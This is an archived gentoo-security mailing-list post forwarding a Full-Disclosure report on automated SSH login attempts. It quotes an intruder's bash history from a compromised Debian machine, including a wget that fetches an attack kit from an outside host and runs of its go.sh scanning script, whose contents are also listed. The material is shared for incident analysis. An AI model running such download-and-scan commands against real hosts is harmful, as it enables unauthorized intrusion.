[gentoo-security] [Fwd: [Full-Disclosure] Re: Automated SSH login attempts?]

[Dan Margolis]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I grabbed the tgz before it's too late. I plan on running it with a
sniffer so I can see what it's doing--that should indicate whether it's
really using some unknown ssh exploit (I'm afraid I'm not a whiz at
disassembly, so I'd rather not take that route). I tend to think it's
not; there was an OpenSSH vuln a while back that this guy's Debian
machine might still be vulnerable to, if it wasn't patched in a year. If
there were an unknown vulnerability, he'd be having a lot more success
and we'd be seeing this a whole lot more (unless we're all rooted and
don't know it).

Anyone have any more information on this?

- -------- Original Message --------

From: Stefan Janecek <stefan.janecek@×××.at>
To: full-disclosure@××××××××××××.com


Hmmm - I have also been getting those login attemps, but thought them to
be harmless. Maybe they are not *that* harmless, though... Today I
managed to get my hands on a machine that was originating such login
attempts. I must admit I am far from being a linux security expert, but
this is what I've found out up to now:

Whoever broke into the machine did not take any attempts to cover up his
tracks - this is what I found in /root/.bash_history:

- ------
id
uname -a
w
id
ls
wgte frauder.us/linux/ssh.tgz
wget frauder.us/linux/ssh.tgz
tar xzvf ssh.tgz
tar xvf ssh.tgz
ls
cd ssh
ls
./go.sh 195.178
ls
pico uniq.txt
vi uniq.txt
ls
rm -rf uniq.txt
./go.sh 167.205
ls
rm -rf uniq.txt  vuln.txt
./go.sh 202.148.20
./go.sh 212.92
./go.sh 195.197
./go.sh 147.32
./go.sh 213.168
./go.sh 134.176
./go.sh 195.83
- ------

um-hum. I downloaded 'ssh.tgz', it contains the script go.sh and two
binaries:

go.sh:
- -------
./ss 22 -b $1 -i eth0 -s 6
cat bios.txt |sort | uniq > uniq.txt
./sshf
- -------

* 'ss' apparently is some sort of portscanner
* 'sshf' connects to every IP in uniq.txt and tries to log in as user
'test' first, then as user 'guest' (according to tcpdump).

This does not seem to be a stupid brute force attack, as there is only
one login attempt per user. Could it be that the tool tries to exploit
some vulnerability in the sshd, and just tries to look harmless by using
'test' and 'guest' as usernames?

The compromised machine was running an old debian woody installation
which had not been upgraded for at least one year, the sshd version
string says 'OpenSSH_3.6.1p2 Debian 1:3.6.1p2-10'

As already mentioned, I am far from being an expert, but if I can assist
in further testing, then let me know. Please CC me, I am not subscribed
to the list.

cheers,
Stefan






_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


- --
Dan ("KrispyKringle")
Gentoo Linux Security Coordinator
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQQk4x7DO2aFJ9pv2AQIN0gf/aSN7cqEh0KVR89O2Whg546iQRHQJ6XyJ
wUMmii+7qxRObzMQWTdk3MjJLeog9XVAyf5JKjEkhktrcMkg5e93Bbi3ZSf2KvpN
R/V/0hIMQl5o5LzYHl2eTG+LreYHD7G5e/6iSBDPaWuyrhDa4n+7N6zi+riMHfhz
DI1fKM+S/CPfpC5FmUz/Xk1gkbF83Qzq0QbjvXi0CZmqUhl706KH3a25ddn78VJr
DTCPHVcfFgnywqOEqIh7CXIVeWCC3Zan/Vrz05QV/dSyAkYix8r6p2wZVWe3YsdW
SbzwZLXsOjyODwnY+0zcytD+j2aV7ICjsAoQpcMZCmTyprVF0ffN3Q==
=njA6
-----END PGP SIGNATURE-----

--
gentoo-security@g.o mailing list